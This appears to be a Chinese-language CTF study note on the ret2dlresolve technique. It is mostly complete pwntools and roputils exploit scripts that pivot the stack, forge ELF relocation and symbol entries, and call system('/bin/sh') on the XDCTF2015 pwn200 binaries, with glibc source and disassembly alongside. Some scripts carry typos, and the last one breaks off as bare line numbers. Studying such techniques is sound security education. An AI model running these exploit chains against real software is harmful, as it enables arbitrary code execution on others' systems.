    • 利用栈劫持把栈转移到bss段上,因为bss段地址已知方便后续使用伪造结构的地址

    image-20220316143526872

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *

context.log_level = 'debug'
context.terminal = ['tmux','sp','-h']

p = process('./bof')
gdb.attach(p)
elf=ELF('./bof')

# readelf -d ./bof
JMPREL = 0x8048330
STRTAB = 0x8048278
SYMTAB = 0x80481d8

pre_resolve = 0x8048380

bss = elf.bss()
base = bss+0x800 # 栈转移过程中是在bss段后面开始的,不要离bss段太近,相当于栈的大小
log.info('base: '+hex(base))

# 栈劫持
p.recv()
rop = ROP('./bof')
rop.raw(112*b'a') # 输入到返回地址的偏移
rop.read(0, base, 200)
rop.migrate(base)
p.sendline(rop.chain())

# 伪造结构体
fake_start = base+16 # 前四个pl
rel_offset = fake_start - JMPREL
elf32_sym = fake_start+8

align = 0x10-(elf32_sym-SYMTAB)%0x10 # padding to 0x10
elf32_sym += align

index_sym = (elf32_sym-SYMTAB)/0x10
r_info = (index_sym<<8) | 0x7

elf32_rel_struct = p32(elf.got['write'])+p32(r_info)

st_name = elf32_sym+0x10-STRTAB
elf32_sym_struct = p32(st_name)+p32(0)+p32(0)+p32(12)


pl = p32(pre_solve)
pl += p32(rel_offset) # pre_solve前push了一个参数,因已经栈劫持直接写入
pl += 'aaaa' # return address
pl += p32(base+100) # /bin/sh
pl += elf32_rel_struct
pl += align*b'a'
pl += elf32_sym_struct
pl += 'system\x00\x00'
pl = pl.ljust(100, '\x00')
pl += '/bin/sh\x00' # base+100

# sleep(10) # 调试用,io正常发送

p.sendline(pl)
p.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from roputils import *
from pwn import *

p = process('./bof')
gdb.attach(p)
context.log_level='debug'
context.terminal=['tmux','sp','-h']

p.recv()
rop = ROP('./bof')
bss = rop.section('.bss')
buf = rop.fill(112)
buf += rop.call('read', 0, bss, 0x200)
buf += rop.dl_resolve_call(bss+20, bss) # bss+20,解析到system函数对应的data部分的地址
p.send(buf)

sleep(20)

buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
buf += rop.dl_resolve_data(bss+20, 'system')
p.send(buf)

p.initeractive()

ret2dlresolve(wiki)

原理

在 Linux 中,程序使用 _dl_runtime_resolve(link_map_obj, reloc_offset) 来对动态链接的函数进行重定位。那么如果我们可以控制相应的参数及其对应地址的内容是不是就可以控制解析的函数了呢?答案是肯定的。这也是 ret2dlresolve 攻击的核心所在。

具体的,动态链接器在解析符号地址时所使用的重定位表项、动态符号表、动态字符串表都是从目标文件中的动态节 .dynamic 索引得到的。所以如果我们能够修改其中的某些内容使得最后动态链接器解析的符号是我们想要解析的符号,那么攻击就达成了。

思路 1 - 直接控制重定位表项的相关内容

由于动态链接器最后在解析符号的地址时,是依据符号的名字进行解析的。因此,一个很自然的想法是直接修改动态字符串表 .dynstr,比如把某个函数在字符串表中对应的字符串修改为目标函数对应的字符串。但是,动态字符串表和代码映射在一起,是只读的。此外,类似地,我们可以发现动态符号表、重定位表项都是只读的。

但是,假如我们可以控制程序执行流,那我们就可以伪造合适的重定位偏移,从而达到调用目标函数的目的。然而,这种方法比较麻烦,因为我们不仅需要伪造重定位表项,符号信息和字符串信息,而且我们还需要确保动态链接器在解析的过程中不会出错。

思路 2 - 间接控制重定位表项的相关内容

既然动态链接器会从 .dynamic 节中索引到各个目标节,那如果我们可以修改动态节中的内容,那自然就很容易控制待解析符号对应的字符串,从而达到执行目标函数的目的。

思路 3 - 伪造 link_map

由于动态连接器在解析符号地址时,主要依赖于 link_map 来查询相关的地址。因此,如果我们可以成功伪造 link_map,也就可以控制程序执行目标函数。

下面我们以 2015-XDCTF-pwn200 来介绍 32 位和 64 位下如何使用 ret2dlresolve 技巧。

32位,NO RELRO

在这种情况下,修改 .dynamic 会简单些。因为我们只需要修改 .dynamic 节中的字符串表的地址为伪造的字符串表的地址,并且相应的位置为目标字符串基本就行了。具体思路如下

  1. 修改 .dynamic 节中字符串表的地址为伪造的地址
  2. 在伪造的地址处构造好字符串表,将 read 字符串替换为 system 字符串。
  3. 在特定的位置读取 /bin/sh 字符串。
  4. 调用 read 函数的 plt 的第二条指令,触发 _dl_runtime_resolve 进行函数解析,从而执行 system 函数。

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
# context.log_level="debug"
context.terminal = ["tmux","splitw","-h"]
context.arch="i386"
p = process("./main_no_relro_32")
rop = ROP("./main_no_relro_32")
elf = ELF("./main_no_relro_32")

p.recvuntil('Welcome to XDCTF2015~!\n')

offset = 112
rop.raw(offset*'a')
rop.read(0,0x08049804+4,4) # modify .dynstr pointer in .dynamic section to a specific location
dynstr = elf.get_section_by_name('.dynstr').data()
dynstr = dynstr.replace("read","system")
rop.read(0,0x080498E0,len((dynstr))) # construct a fake dynstr section
rop.read(0,0x080498E0+0x100,len("/bin/sh\x00")) # read /bin/sh\x00
rop.raw(0x08048376) # the second instruction of read@plt
rop.raw(0xdeadbeef)
rop.raw(0x080498E0+0x100)
# print(rop.dump())
assert(len(rop.chain())<=256)
rop.raw("a"*(256-len(rop.chain())))
p.send(rop.chain())
p.send(p32(0x080498E0))
p.send(dynstr)
p.send("/bin/sh\x00")
p.interactive()

32位,Partial RELRO

基于工具伪造

使用 roputil 来进行攻击。代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from roputils import *
from pwn import process
from pwn import gdb
from pwn import context
r = process('./main')
context.log_level = 'debug'
r.recv()

rop = ROP('./main')
offset = 112
bss_base = rop.section('.bss')
buf = rop.fill(offset)

buf += rop.call('read', 0, bss_base, 100)
## used to call dl_runtimeresolve()
buf += rop.dl_resolve_call(bss_base + 20, bss_base)
r.send(buf)

buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
## used to make faking data, such relocation, Symbol, Str
buf += rop.dl_resolve_data(bss_base + 20, 'system')
buf += rop.fill(100, buf)
r.send(buf)
r.interactive()

关于 dl_resolve_call 与 dl_resolve_data 的具体细节请参考 roputils.py 的源码,比较容易理解。需要注意的是,dl_resolve 执行完之后也是需要有对应的返回地址的。

使用 pwntools 的工具进行攻击。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context.binary = elf = ELF("./main_partial_relro_32")
rop = ROP(context.binary)
dlresolve = Ret2dlresolvePayload(elf,symbol="system",args=["/bin/sh"])
# pwntools will help us choose a proper addr
# https://github.com/Gallopsled/pwntools/blob/5db149adc2/pwnlib/rop/ret2dlresolve.py#L237
rop.read(0,dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()
io = process("./main_partial_relro_32")
io.recvuntil("Welcome to XDCTF2015~!\n")
payload = flat({112:raw_rop,256:dlresolve.payload})
io.sendline(payload)
io.interactive()

32位,Full RELRO

在开启 FULL RELRO 保护的情况下,程序中导入的函数地址会在程序开始执行之前被解析完毕,因此 got 表中 link_map 以及 dl_runtime_resolve 函数地址在程序执行的过程中不会被用到。故而,GOT 表中的这两个地址均为 0。此时,直接使用上面的技巧是不行的。

64位,NO RELRO

在这种情况下,类似于 32 位的情况直接构造即可。由于可以溢出的缓冲区太少,所以我们可以考虑进行栈迁移后,然后进行漏洞利用。

  1. 在 bss 段伪造栈。栈中的数据为
    1. 修改 .dynamic 节中字符串表的地址为伪造的地址
    2. 在伪造的地址处构造好字符串表,将 read 字符串替换为 system 字符串。
    3. 在特定的位置读取 /bin/sh 字符串。
    4. 调用 read 函数的 plt 的第二条指令,触发 _dl_runtime_resolve 进行函数解析,从而触发执行 system 函数。
  2. 栈迁移到 bss 段。

由于程序中没有直接设置 rdx 的 gadget,所以我们这里就选择了万能 gadget。这会使得我们的 ROP 链变得更长

经过精细的调节,我们还是避免破坏 .dynamic 节的内容

  • 修改迁移后的栈的地址为 bss_addr+0x200,即 0x600d30
  • 修改迁移后的栈的大小为 0x188

简单地调整一下栈,来使得栈是 16 字节对齐的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *
# context.log_level="debug"
# context.terminal = ["tmux","splitw","-h"]
context.arch="amd64"
io = process("./main_no_relro_64")
rop = ROP("./main_no_relro_64")
elf = ELF("./main_no_relro_64")

bss_addr = elf.bss()
csu_front_addr = 0x400750
csu_end_addr = 0x40076A
leave_ret =0x40063c
poprbp_ret = 0x400588
def csu(rbx, rbp, r12, r13, r14, r15):
# pop rbx, rbp, r12, r13, r14, r15
# rbx = 0
# rbp = 1, enable not to jump
# r12 should be the function that you want to call
# rdi = edi = r13d
# rsi = r14
# rdx = r15
payload = p64(csu_end_addr)
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += 'a' * 0x38
return payload

io.recvuntil('Welcome to XDCTF2015~!\n')

# stack privot to bss segment, set rsp = new_stack
stack_size = 0x1a0 # new stack size is 0x1a0
new_stack = bss_addr+0x200

offset = 112+8
rop.raw(offset*'a')
payload1 = csu(0, 1 ,elf.got['read'],0,new_stack,stack_size)
rop.raw(payload1)
rop.raw(0x400607)
assert(len(rop.chain())<=256)
rop.raw("a"*(256-len(rop.chain())))
# gdb.attach(io)
io.send(rop.chain())

# construct fake stack
rop = ROP("./main_no_relro_64")
rop.raw(csu(0, 1 ,elf.got['read'],0,0x600988+8,8)) # modify .dynstr pointer in .dynamic section to a specific location
dynstr = elf.get_section_by_name('.dynstr').data()
dynstr = dynstr.replace("read","system")
rop.raw(csu(0, 1 ,elf.got['read'],0,0x600B30,len(dynstr))) # construct a fake dynstr section
rop.raw(csu(0, 1 ,elf.got['read'],0,0x600B30+len(dynstr),len("/bin/sh\x00"))) # read /bin/sh\x00
rop.raw(0x0000000000400771) #pop rsi; pop r15; ret;
rop.raw(0)
rop.raw(0)
rop.raw(0x0000000000400773) # pop rdi; ret
rop.raw(0x600B30+len(dynstr))
rop.raw(0x400516) # the second instruction of read@plt
rop.raw(0xdeadbeef)
# print(len(rop.chain()))
rop.raw('a'*(stack_size-len(rop.chain())))
io.send(rop.chain())


# reuse the vuln to stack pivot
rop = ROP("./main_no_relro_64")
rop.raw(offset*'a')
rop.migrate(new_stack)
assert(len(rop.chain())<=256)
io.send(rop.chain()+'a'*(256-len(rop.chain())))

# now, we are on the new stack
io.send(p64(0x600B30)) # fake dynstr location
io.send(dynstr) # fake dynstr
io.send("/bin/sh\x00")

io.interactive()

到了这里我们发现,与 32 位不同,在 64 位下进行栈迁移然后利用 ret2dlresolve 攻击需要精心构造栈的位置,以避免破坏 .dynamic 节的内容。

这里我们同时给出另外一种方法,即通过多次使用 vuln 函数进行漏洞利用。这种方式看起来会更加清晰一些。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *
# context.log_level="debug"
# context.terminal = ["tmux","splitw","-h"]
context.arch="amd64"
io = process("./main_no_relro_64")
elf = ELF("./main_no_relro_64")

bss_addr = elf.bss()
print(hex(bss_addr))
csu_front_addr = 0x400750
csu_end_addr = 0x40076A
leave_ret =0x40063c
poprbp_ret = 0x400588
def csu(rbx, rbp, r12, r13, r14, r15):
# pop rbx, rbp, r12, r13, r14, r15
# rbx = 0
# rbp = 1, enable not to jump
# r12 should be the function that you want to call
# rdi = edi = r13d
# rsi = r14
# rdx = r15
payload = p64(csu_end_addr)
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += 'a' * 0x38
return payload

io.recvuntil('Welcome to XDCTF2015~!\n')

# stack privot to bss segment, set rsp = new_stack
stack_size = 0x200 # new stack size is 0x200
new_stack = bss_addr+0x100

# modify .dynstr pointer in .dynamic section to a specific location
rop = ROP("./main_no_relro_64")
offset = 112+8
rop.raw(offset*'a')
rop.raw(csu(0, 1 ,elf.got['read'],0,0x600988+8,8))
rop.raw(0x400607)
rop.raw("a"*(256-len(rop.chain())))
print(rop.dump())
print(len(rop.chain()))
assert(len(rop.chain())<=256)
rop.raw("a"*(256-len(rop.chain())))
io.send(rop.chain())
io.send(p64(0x600B30+0x100))


# construct a fake dynstr section
rop = ROP("./main_no_relro_64")
rop.raw(offset*'a')
dynstr = elf.get_section_by_name('.dynstr').data()
dynstr = dynstr.replace("read","system")
rop.raw(csu(0, 1 ,elf.got['read'],0,0x600B30+0x100,len(dynstr)))
rop.raw(0x400607)
rop.raw("a"*(256-len(rop.chain())))
io.send(rop.chain())
io.send(dynstr)

# read /bin/sh\x00
rop = ROP("./main_no_relro_64")
rop.raw(offset*'a')
rop.raw(csu(0, 1 ,elf.got['read'],0,0x600B30+0x100+len(dynstr),len("/bin/sh\x00")))
rop.raw(0x400607)
rop.raw("a"*(256-len(rop.chain())))
io.send(rop.chain())
io.send("/bin/sh\x00")


rop = ROP("./main_no_relro_64")
rop.raw(offset*'a')
rop.raw(0x0000000000400771) #pop rsi; pop r15; ret;
rop.raw(0)
rop.raw(0)
rop.raw(0x0000000000400773)
rop.raw(0x600B30+0x100+len(dynstr))
rop.raw(0x400516) # the second instruction of read@plt
rop.raw(0xdeadbeef)
rop.raw('a'*(256-len(rop.chain())))
print(rop.dump())
print(len(rop.chain()))
io.send(rop.chain())
io.interactive()

64位,Partial RELRO

手工伪造

64 位的变化

glibc 中默认编译使用的是 ELF_Rela 来记录重定位项的内容

1
2
3
4
5
6
7
8
9
10
typedef struct
{
Elf64_Addr r_offset; /* Address */
Elf64_Xword r_info; /* Relocation type and symbol index */
Elf64_Sxword r_addend; /* Addend */
} Elf64_Rela;
/* How to extract and insert information held in the r_info field. */
#define ELF64_R_SYM(i) ((i) >> 32)
#define ELF64_R_TYPE(i) ((i) & 0xffffffff)
#define ELF64_R_INFO(sym,type) ((((Elf64_Xword) (sym)) << 32) + (type))

这里 Elf64_Addr、Elf64_Xword、Elf64_Sxword 都为 64 位,因此 Elf64_Rela 结构体的大小为 24 字节。

根据 IDA 里的重定位表的信息可以知道,write 函数在符号表中的偏移为 1(0x100000007h>>32) 。

1
2
3
4
5
6
LOAD:0000000000400488 ; ELF JMPREL Relocation Table
LOAD:0000000000400488 Elf64_Rela <601018h, 100000007h, 0> ; R_X86_64_JUMP_SLOT write
LOAD:00000000004004A0 Elf64_Rela <601020h, 200000007h, 0> ; R_X86_64_JUMP_SLOT strlen
LOAD:00000000004004B8 Elf64_Rela <601028h, 300000007h, 0> ; R_X86_64_JUMP_SLOT setbuf
LOAD:00000000004004D0 Elf64_Rela <601030h, 400000007h, 0> ; R_X86_64_JUMP_SLOT read
LOAD:00000000004004D0 LOAD ends

确实在符号表中的偏移为 1。

1
2
3
4
5
6
7
LOAD:00000000004002C0 ; ELF Symbol Table
LOAD:00000000004002C0 Elf64_Sym <0>
LOAD:00000000004002D8 Elf64_Sym <offset aWrite - offset byte_400398, 12h, 0, 0, 0, 0> ; "write"
LOAD:00000000004002F0 Elf64_Sym <offset aStrlen - offset byte_400398, 12h, 0, 0, 0, 0> ; "strlen"
LOAD:0000000000400308 Elf64_Sym <offset aSetbuf - offset byte_400398, 12h, 0, 0, 0, 0> ; "setbuf"
LOAD:0000000000400320 Elf64_Sym <offset aRead - offset byte_400398, 12h, 0, 0, 0, 0> ; "read"
...

在 64 位下,Elf64_Sym 结构体为

1
2
3
4
5
6
7
8
9
typedef struct
{
Elf64_Word st_name; /* Symbol name (string tbl index) */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf64_Section st_shndx; /* Section index */
Elf64_Addr st_value; /* Symbol value */
Elf64_Xword st_size; /* Symbol size */
} Elf64_Sym;

其中

  • Elf64_Word 32 位
  • Elf64_Section 16 位
  • Elf64_Addr 64 位
  • Elf64_Xword 64 位

所以,Elf64_Sym 的大小为 24 个字节。

除此之外,在 64 位下,plt 中的代码 push 的是待解析符号在重定位表中的索引,而不是偏移。比如,write 函数 push 的是 0。

1
2
3
4
5
6
7
8
.plt:0000000000400510 ; ssize_t write(int fd, const void *buf, size_t n)
.plt:0000000000400510 _write proc near ; CODE XREF: main+B3↓p
.plt:0000000000400510 jmp cs:off_601018
.plt:0000000000400510 _write endp
.plt:0000000000400510
.plt:0000000000400516 ; ---------------------------------------------------------------------------
.plt:0000000000400516 push 0
.plt:000000000040051B jmp sub_400500
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
from pwn import *
# context.log_level="debug"
# context.terminal = ["tmux","splitw","-h"]
context.arch="amd64"
io = process("./main_partial_relro_64")
elf = ELF("./main_partial_relro_64")

bss_addr = elf.bss()
csu_front_addr = 0x400780
csu_end_addr = 0x40079A
vuln_addr = 0x400637

def csu(rbx, rbp, r12, r13, r14, r15):
# pop rbx, rbp, r12, r13, r14, r15
# rbx = 0
# rbp = 1, enable not to jump
# r12 should be the function that you want to call
# rdi = edi = r13d
# rsi = r14
# rdx = r15
payload = p64(csu_end_addr)
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += '\x00' * 0x38
return payload


def ret2dlresolve_x64(elf, store_addr, func_name, resolve_addr):
plt0 = elf.get_section_by_name('.plt').header.sh_addr

rel_plt = elf.get_section_by_name('.rela.plt').header.sh_addr
relaent = elf.dynamic_value_by_tag("DT_RELAENT") # reloc entry size

dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
syment = elf.dynamic_value_by_tag("DT_SYMENT") # symbol entry size

dynstr = elf.get_section_by_name('.dynstr').header.sh_addr


# construct fake function string
func_string_addr = store_addr
resolve_data = func_name + "\x00"

# construct fake symbol
symbol_addr = store_addr+len(resolve_data)
offset = symbol_addr - dynsym
pad = syment - offset % syment # align syment size
symbol_addr = symbol_addr+pad
symbol = p32(func_string_addr-dynstr)+p8(0x12)+p8(0)+p16(0)+p64(0)+p64(0)
symbol_index = (symbol_addr - dynsym)/24
resolve_data +='\x00'*pad
resolve_data += symbol

# construct fake reloc
reloc_addr = store_addr+len(resolve_data)
offset = reloc_addr - rel_plt
pad = relaent - offset % relaent # align relaent size
reloc_addr +=pad
reloc_index = (reloc_addr-rel_plt)/24
rinfo = (symbol_index<<32) | 7
write_reloc = p64(resolve_addr)+p64(rinfo)+p64(0)
resolve_data +='\x00'*pad
resolve_data +=write_reloc

resolve_call = p64(plt0) + p64(reloc_index)
return resolve_data, resolve_call


io.recvuntil('Welcome to XDCTF2015~!\n')
gdb.attach(io)

store_addr = bss_addr+0x100
sh = "/bin/sh\x00"

# construct fake string, symbol, reloc.modify .dynstr pointer in .dynamic section to a specific location
rop = ROP("./main_partial_relro_64")
offset = 112+8
rop.raw(offset*'\x00')
resolve_data, resolve_call = ret2dlresolve_x64(elf, store_addr, "system",elf.got["write"])
rop.raw(csu(0, 1 ,elf.got['read'],0,store_addr,len(resolve_data)+len(sh)))
rop.raw(vuln_addr)
rop.raw("a"*(256-len(rop.chain())))
assert(len(rop.chain())<=256)
io.send(rop.chain())
# send resolve data
io.send(resolve_data+sh)
bin_sh_addr = store_addr+len(resolve_data)


# rop = ROP("./main_partial_relro_64")
# rop.raw(offset*'\x00')
# sh = "/bin/sh\x00"
# bin_sh_addr = store_addr+len(resolve_data)
# rop.raw(csu(0, 1 ,elf.got['read'],0,bin_sh_addr,len(sh)))
# rop.raw(vuln_addr)
# rop.raw("a"*(256-len(rop.chain())))
# io.send(rop.chain())
# io.send(sh)


# leak link_map addr
rop = ROP("./main_partial_relro_64")
rop.raw(offset*'\x00')
rop.raw(csu(0, 1 ,elf.got['write'],1,0x601008,8))
rop.raw(vuln_addr)
rop.raw('\x00'*(256-len(rop.chain())))
io.send(rop.chain())
link_map_addr = u64(io.recv(8))
print(hex(link_map_addr))


# set l->l_info[VERSYMIDX(DT_VERSYM)] = NULL
rop = ROP("./main_partial_relro_64")
rop.raw(offset*'\x00')
rop.raw(csu(0, 1 ,elf.got['read'],0,link_map_addr+0x1c8,8))
rop.raw(vuln_addr)
rop.raw('\x00'*(256-len(rop.chain())))
io.send(rop.chain())
io.send(p64(0))


rop = ROP("./main_partial_relro_64")
rop.raw(offset*'\x00')
rop.raw(0x00000000004007a3) # 0x00000000004007a3: pop rdi; ret;
rop.raw(bin_sh_addr)
rop.raw(resolve_call)
# rop.raw('\x00'*(256-len(rop.chain())))
io.send(rop.chain())
io.interactive()

可以看出,在上面的测试中,我们仍然利用 write 函数泄露了 link_map 的地址,那么,如果程序中没有输出函数,我们是否还能够发起利用呢?答案是可以的。我们再来看一下 _dl_fix_up 的实现

可以看出,在上面的测试中,我们仍然利用 write 函数泄露了 link_map 的地址,那么,如果程序中没有输出函数,我们是否还能够发起利用呢?答案是可以的。我们再来看一下 _dl_fix_up 的实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
    /* Look up the target symbol.  If the normal lookup rules are not
used don't look in the global scope. */
// 判断符号的可见性
if (__builtin_expect(ELFW(ST_VISIBILITY)(sym->st_other), 0) == 0)
{
// 获取符号的版本信息
const struct r_found_version *version = NULL;
if (l->l_info[VERSYMIDX(DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum = (const void *)D_PTR(l, l_info[VERSYMIDX(DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM)(reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}
/* We need to keep the scope around so do some locking. This is
not necessary for objects which cannot be unloaded or when
we are not using any threads (yet). */
int flags = DL_LOOKUP_ADD_DEPENDENCY;
if (!RTLD_SINGLE_THREAD_P)
{
THREAD_GSCOPE_SET_FLAG();
flags |= DL_LOOKUP_GSCOPE_LOCK;
}
#ifdef RTLD_ENABLE_FOREIGN_CALL
RTLD_ENABLE_FOREIGN_CALL;
#endif
// 查询待解析符号所在的目标文件的 link_map
result = _dl_lookup_symbol_x(strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);
/* We are done with the global scope. */
if (!RTLD_SINGLE_THREAD_P)
THREAD_GSCOPE_RESET_FLAG();
#ifdef RTLD_FINALIZE_FOREIGN_CALL
RTLD_FINALIZE_FOREIGN_CALL;
#endif
/* Currently result contains the base load address (or link map)
of the object that defines sym. Now add in the symbol
offset. */
// 基于查询到的 link_map 计算符号的绝对地址: result->l_addr + sym->st_value
// l_addr 为待解析函数所在文件的基地址
value = DL_FIXUP_MAKE_VALUE(result,
SYMBOL_ADDRESS(result, sym, false));
}
else
{
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE(l, SYMBOL_ADDRESS(l, sym, true));
result = l;
}

如果我们故意将 __builtin_expect(ELFW(ST_VISIBILITY)(sym->st_other), 0) 设置为 0,那么程序就会执行 else 分支。具体的,我们设置 sym->st_other 不为 0 即可满足这一条件。

1
2
3
4
5
6
7
8
9
/* How to extract and insert information held in the st_other field.  */
#define ELF32_ST_VISIBILITY(o) ((o) & 0x03)
/* For ELF64 the definitions are the same. */
#define ELF64_ST_VISIBILITY(o) ELF32_ST_VISIBILITY (o)
/* Symbol visibility specification encoded in the st_other field. */
#define STV_DEFAULT 0 /* Default symbol visibility rules */
#define STV_INTERNAL 1 /* Processor specific hidden class */
#define STV_HIDDEN 2 /* Sym unavailable in other modules */
#define STV_PROTECTED 3 /* Not preemptible, not exported */

此时程序计算 value 的方式为

1
value = l->l_addr + sym->st_value

通过查看 link_map 结构体的定义,可以知道 l_addr 是 link_map 的第一个成员,那么如果我们伪造上述这两个变量,并借助于已有的被解析的函数地址,比如

  • 伪造 link_map->l_addr 为已解析函数与想要执行的目标函数的偏移值,如 addr_system-addr_xxx
  • 伪造 sym->st_value 为已经解析过的某个函数的 got 表的位置,即相当于有了一个隐式的信息泄露

那就可以得到对应的目标地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
struct link_map
{
/* These first few members are part of the protocol with the debugger.
This is the same format used in SVR4. */
ElfW(Addr) l_addr; /* Difference between the address in the ELF
file and the addresses in memory. */
char *l_name; /* Absolute file name object was found in. */
ElfW(Dyn) *l_ld; /* Dynamic section of the shared object. */
struct link_map *l_next, *l_prev; /* Chain of loaded objects. */
/* All following members are internal to the dynamic linker.
They may change without notice. */
/* This is an element which is only ever different from a pointer to
the very same copy of this type for ld.so when it is used in more
than one namespace. */
struct link_map *l_real;
/* Number of the namespace this link map belongs to. */
Lmid_t l_ns;
struct libname_list *l_libname;
/* Indexed pointers to dynamic section.
[0,DT_NUM) are indexed by the processor-independent tags.
[DT_NUM,DT_NUM+DT_THISPROCNUM) are indexed by the tag minus DT_LOPROC.
[DT_NUM+DT_THISPROCNUM,DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM) are
indexed by DT_VERSIONTAGIDX(tagvalue).
[DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM,
DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM) are indexed by
DT_EXTRATAGIDX(tagvalue).
[DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM,
DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM) are
indexed by DT_VALTAGIDX(tagvalue) and
[DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM,
DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM+DT_ADDRNUM)
are indexed by DT_ADDRTAGIDX(tagvalue), see <elf.h>. */
ElfW(Dyn) *l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM
+ DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM];

一般而言,至少有 __libc_start_main 已经解析过了。本例中,显然不止这一个函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
.got:0000000000600FF0 ; ===========================================================================
.got:0000000000600FF0
.got:0000000000600FF0 ; Segment type: Pure data
.got:0000000000600FF0 ; Segment permissions: Read/Write
.got:0000000000600FF0 ; Segment alignment 'qword' can not be represented in assembly
.got:0000000000600FF0 _got segment para public 'DATA' use64
.got:0000000000600FF0 assume cs:_got
.got:0000000000600FF0 ;org 600FF0h
.got:0000000000600FF0 __libc_start_main_ptr dq offset __libc_start_main
.got:0000000000600FF0 ; DATA XREF: _start+24↑r
.got:0000000000600FF8 __gmon_start___ptr dq offset __gmon_start__
.got:0000000000600FF8 ; DATA XREF: _init_proc+4↑r
.got:0000000000600FF8 _got ends
.got:0000000000600FF8
.got.plt:0000000000601000 ; ===========================================================================
.got.plt:0000000000601000
.got.plt:0000000000601000 ; Segment type: Pure data
.got.plt:0000000000601000 ; Segment permissions: Read/Write
.got.plt:0000000000601000 ; Segment alignment 'qword' can not be represented in assembly
.got.plt:0000000000601000 _got_plt segment para public 'DATA' use64
.got.plt:0000000000601000 assume cs:_got_plt
.got.plt:0000000000601000 ;org 601000h
.got.plt:0000000000601000 _GLOBAL_OFFSET_TABLE_ dq offset _DYNAMIC
.got.plt:0000000000601008 qword_601008 dq 0 ; DATA XREF: sub_400500↑r
.got.plt:0000000000601010 qword_601010 dq 0 ; DATA XREF: sub_400500+6↑r
.got.plt:0000000000601018 off_601018 dq offset write ; DATA XREF: _write↑r
.got.plt:0000000000601020 off_601020 dq offset strlen ; DATA XREF: _strlen↑r
.got.plt:0000000000601028 off_601028 dq offset setbuf ; DATA XREF: _setbuf↑r
.got.plt:0000000000601030 off_601030 dq offset read ; DATA XREF: _read↑r
.got.plt:0000000000601030 _got_plt ends
.got.plt:0000000000601030

与此同时,通过阅读 _dl_fixup 函数的代码,在设置 __builtin_expect(ELFW(ST_VISIBILITY)(sym->st_other), 0) 为 0 后,我们可以发现,该函数主要依赖了 link_map 中 l_info 的内容。因此,我们同样需要伪造该部分所需要的内容。

利用代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
